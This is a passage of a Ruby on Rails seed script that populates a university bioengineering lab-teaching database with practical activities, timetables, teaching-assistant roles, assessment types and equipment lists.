a493.id).first_or_create!(criteria: \"Competent user of micropipettes, experience of minipreps or other DNA extraction. Agarose gel electrophoresis.\",\n job_desc:\"Plasmid DNA extraction from E.coli using silica 'miniprep' spin columns. Quantification using SYBR DNA stain and running agarose gel electrophoresis.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a493.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a493.id).first_or_create!(cost_per_student: nil, equip_needed: \"Fluorescent Plate Reader, Microcentrifuges, Gel Doc, Electrophoresis chambers and power packs, vortex mixers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a493.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a494 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"307\").first_or_create!(name: \"E.coli transformation\",\n name_abrv: \"ECOLI\", archived: false, in_drive: false, user_id: 4)\n at494 = ActivityTimetable.where(activity_id: a494.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a494.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a494.id).first_or_create!(criteria: \"Experience of bacterial transformation. Knowledge of molecular biology.\",\n job_desc:\"Transforming E.coli BL21 (DE3) with plasmid DNA.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a494.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a494.id).first_or_create!(cost_per_student: nil, equip_needed: \"bunsen burners, static incubator, shaking incubator, water bath, ice machine\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a494.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a495 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"308\").first_or_create!(name: \"Enzyme activity\",\n name_abrv: \"ENZYME\", archived: false, in_drive: false, user_id: 4)\n at495 = ActivityTimetable.where(activity_id: a495.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 75, setup_time: 180, takedown_time: 60, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at495.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a495.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a495.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a495.id).first_or_create!(assess_weight: nil, notes: \"During is data interpretation. Post is MOLE test\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a495.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, micropipettes, auto pipettes, balances\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a495.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a496 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE190\").first.id, code: \"309\").first_or_create!(name: \"Fermentation kinetics\",\n name_abrv: \"FERMKINETICS\", archived: false, in_drive: false, user_id: 2)\n at496 = ActivityTimetable.where(activity_id: a496.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 240, takedown_time: 240, notes: \"Needs to be in the afternoon due to set up time\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a496.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a496.id).first_or_create!(criteria: \"\",\n job_desc:\"3 mini experiments - Growth of yeast using 1L bioreactor and ivestigating oxygen consumption, staining and counting yeast, measuring CO2 production of yeast.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a496.id).first_or_create!(assess_weight: 6.0, notes: \"In lab assessment - this could be formative.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a496.id).first_or_create!(cost_per_student: nil, equip_needed: \"Bioreactor, Spectrophotometers, Microscopes, bunsen burners, water baths, balances\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a496.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a497 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"310\").first_or_create!(name: \"Bioreactor scale-up (Fermentor)\",\n name_abrv: \"BIOSCALE\", archived: false, in_drive: false, user_id: 4)\n at497 = ActivityTimetable.where(activity_id: a497.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 10, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a497.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a497.id).first_or_create!(criteria: \"Culture of microorganisms\",\n job_desc:\"Supervising students in The DiPP\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a497.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_none.id, num_assess: 40)\n ActivityTech.where(activity_id: a497.id).first_or_create!(cost_per_student: nil, equip_needed: \"24/03/20\",\n last_risk_assess: nil, next_risk_assess: Date.new(18, 3, 24), tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a497.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a498 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"311\").first_or_create!(name: \"FPLC & protein analysis\",\n name_abrv: \"FPLC\", archived: false, in_drive: false, user_id: 2)\n at498 = ActivityTimetable.where(activity_id: a498.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 4, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a498.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a498.id).first_or_create!(criteria: \"\",\n job_desc:\"Protein separation using AKTA FPLC system and determining protein concentration using the Bradford assay\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a498.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a498.id).first_or_create!(cost_per_student: nil, equip_needed: \"FPLC, Ultracentrifuge, Cell Distruptor, fluorescent plate reader, absorbance plate reader\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a498.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a499 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"312\").first_or_create!(name: \"Gel electrophoresis\",\n name_abrv: \"GELELEC\", archived: false, in_drive: false, user_id: 1)\n at499 = ActivityTimetable.where(activity_id: a499.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: 240, takedown_time: 90, notes: \"Should run before Western Blotting\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at499.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a499.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a499.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins by SDS-PAGE\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a499.id).first_or_create!(assess_weight: nil, notes: \"Report incudes western blot and submitted after that part of the experiment\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a499.id).first_or_create!(cost_per_student: nil, equip_needed: \"Biorad gel doc x2, gel tank, power packs, balances, transblot turbos, micropipettes, LEV, heater block, centrifuge\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 1, 28), tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a499.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a500 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"313\").first_or_create!(name: \"Glucose assay\",\n name_abrv: \"GLUCOSE\", archived: false, in_drive: false, user_id: 3)\n at500 = ActivityTimetable.where(activity_id: a500.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay (Can be 1st experiment in Spring if doesn't fit in Autumn)\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at500.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a500.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a500.id).first_or_create!(criteria: \"Biological assays\",\n job_desc:\"Glucose analysis of E.coli culture samples.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a500.id).first_or_create!(assess_weight: nil, notes: \"Data Presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a500.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, water baths, YSI analyser\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a500.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a502 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"315\").first_or_create!(name: \"HPLC\",\n name_abrv: \"HPLC\", archived: false, in_drive: false, user_id: 1)\n at502 = ActivityTimetable.where(activity_id: a502.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 5, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a502.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a502.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins in a mixture and quantifying the concentration of GFP.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a502.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a502.id).first_or_create!(cost_per_student: nil, equip_needed: \"HPLC, fluorescent plate reader\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a502.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a503 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"316\").first_or_create!(name: \"Hygiene Lab: part 1\",\n name_abrv: \"HYGIENE1\", archived: false, in_drive: false, user_id: 3)\n at503 = ActivityTimetable.where(activity_id: a503.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: 60, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a503.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a503.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"Exploring the effect of correct technique and good hygiene on experimental accuracy and biological safety. Investigating the effects of antibiotic action on pre-cultured E.Coli bacteria.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a503.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a503.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static incubators, pipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a503.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a504 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"317\").first_or_create!(name: \"Hygiene Lab: part 2\",\n name_abrv: \"HYGIENE2\", archived: false, in_drive: false, user_id: 2)\n at504 = ActivityTimetable.where(activity_id: a504.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: nil, notes: \"Part 2 must follow part 1 - preferably follwing day or day after\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a504.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a504.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"Exploring the effect of correct technique and good hygiene on experimental accuracy and biological safety. Investigating the effects of antibiotic action on pre-cultured E.Coli bacteria.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a504.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a504.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static Incubators, Cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a504.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a505 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"318\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: false, in_drive: false, user_id: 3)\n at505 = ActivityTimetable.where(activity_id: a505.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 5, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: nil, takedown_time: 75, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a505.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a505.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a505.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a505.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, live cell imagers x2, microscopes, micropipettes, autopipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a505.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a506 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"318\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: true, in_drive: false, user_id: 4)\n at506 = ActivityTimetable.where(activity_id: a506.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a506.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a506.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a506.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a506.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a506.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a507 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"319\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: false, in_drive: false, user_id: 1)\n at507 = ActivityTimetable.where(activity_id: a507.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 6, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Must follow Live Cell Imaging 1\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a507.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a507.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a507.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a507.id).first_or_create!(cost_per_student: nil, equip_needed: \"Live cell imager x2, microscopes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a507.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a508 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"319\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: true, in_drive: false, user_id: 5)\n at508 = ActivityTimetable.where(activity_id: a508.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a508.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a508.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a508.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a508.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a508.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a509 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"320\").first_or_create!(name: \"Making buffers\",\n name_abrv: \"BUFFERS\", archived: false, in_drive: false, user_id: 3)\n at509 = ActivityTimetable.where(activity_id: a509.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 360, takedown_time: 180, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at509.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a509.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a509.id).first_or_create!(criteria: \"Experience of making solutions from solids. An understanding of acids and bases.\",\n job_desc:\"Investigating the properties of buffers (titration using bicarbonate buffer)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a509.id).first_or_create!(assess_weight: nil, notes: \"Data Presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a509.id).first_or_create!(cost_per_student: nil, equip_needed: \"balances, pH meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a509.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a510 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"321\").first_or_create!(name: \"Making nylon\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 3)\n at510 = ActivityTimetable.where(activity_id: a510.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 120, notes: \"One experiment of 3 for this module\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at510.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a510.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a510.id).first_or_create!(criteria: \"Knowlegde of polymer chemistry desirable\",\n job_desc:\"Making a nylon rope (demonstrating polycondensation reaction)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a510.id).first_or_create!(assess_weight: nil, notes: \"Calculations and observations marked during lab session.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a510.id).first_or_create!(cost_per_student: nil, equip_needed: \"Clamps & Stands, LEV\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a510.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a511 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"322\").first_or_create!(name: \"making yogurt: part 1\",\n name_abrv: \"YOGHURT1\", archived: false, in_drive: false, user_id: 1)\n at511 = ActivityTimetable.where(activity_id: a511.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 240, takedown_time: 240, notes: \"2 hours required.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at511.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a511.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a511.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"To investigate the use of microorganisms in the manufacture of common food products by making yogurt and paneer cheese.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a511.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a511.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static Incubators, Water baths, hotplate stirrers, balances,\",\n last_risk_assess: nil, next_risk_assess: nil, 